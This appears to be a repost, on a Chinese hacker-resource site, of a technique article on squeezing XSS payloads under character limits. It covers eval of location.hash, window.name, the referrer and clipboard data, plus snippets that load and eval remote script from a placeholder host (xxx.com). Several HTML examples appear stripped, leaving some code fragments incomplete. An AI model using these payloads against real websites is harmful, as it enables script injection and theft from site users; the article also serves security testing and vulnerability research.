中国黑客技术资源网站:专注于分享中国黑客技术资源网站内容

联系我们| 网站地图

搜索
黑客新闻分类 黑客论坛 黑客技术 黑客软件 黑客教程 黑客工具 黑客攻击 黑客入侵 黑客代码 黑客知识
热门标签:
最新标签:

黑客突破XSS字符数量限制 执行任意JS代码

日期:2022/07/11 12:09作者:小编人气:

导读:黑客技术有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些极端情况下的XSS漏洞。  突破的方法有很多种,但是突破的思想...

黑客技术有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些极端情况下的XSS漏洞。

  突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数据。


  二、突破方法


  2.1 利用HTML上下文中其他可以控制的数据


  可控的安全的数据


  alert(/xss/);


  由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:


  eval(unescape(x.innerHTML));


  长度:28 + len(id)


  由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


  2.2 利用URL中的数据


  长度:30


  limited_xss_point>eval(location.href.substr(80));


  长度:31


  上面两个例子对比,前一个例子更短,黑客那么有没有办法更短呢?通过查阅t手册的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个字符:


  长度:29


  eval(location.href.slice(80));


  长度:30


  那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:


  eval(location.hash.slice(1));


  长度:29


  这样比上面的例子又少了一个字符。那么还可以更短么?


  2.3 JS上下文的利用


  为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:


  String.fromCharCode


  getElementById


  getElementsByTagName


  XMLHTTPRequest


  ...


  就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的简化函数,最经典的例子就是:


  这些函数同样可以为我们所用,黑客攻击用来缩短我们的Payload的长度。不过上面这个例子不是最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:


  n loads(url)


  ...


  loads("http://xxx.com/x");


  长度:len(函数名) + len(url) + 5


  当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:


  n get(url)


  ...


  return x.responseText;


  eval(get("http://xxx.com/x"));


  长度:len(函数名) + len(url) + 11


  道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:


  JQuery


  YUI


  ...


  综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码,进而突破长度限制执行任意代码。


  2.4 利用浏览器特性在跨域的页面之间传递数据


  虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。


  攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了Payload,被XSS的页面通过referrer获取相关代码执行。


  这种方式利用上还有一些问题,如果使用location.href或者实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:


  2.4.2 剪切板clipboardData


  攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获取并执行该数据。


  被XSS的页面:


  eval(clipboardData.getData("text"));


  长度:36


  这种方式只适用于IE6系列,并且在IE 7及以上版本的浏览器会有安全提示。


  这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数据的,但是这个特性本身并不是漏洞。


  攻击者构造的页面:


  被XSS的页面:


  eval(name);


  长度:11


  这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思的技巧,这个技巧的发现也是促成本文的直接原因。


  2.5 以上的方式结合使用


  以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况中,灵活的组合上面的方法可能会起到奇效。


  三、后记


  

_-672678616_6e7b48cd31b7bf3f7dc57a81278d2b9a_1655644608000_xg_0.jpg

JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎和我交流!


  感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

联系我们| 网站地图

Copyright © 2002-2022 中国黑客百科网 版权所有 Powered by EyouCms | 备案号:京ICP备000000001369118号

声明: 所有软件和文章来自互联网 如有异议 请与本站联系 本站为非赢利性网站 不接受任何赞助和广告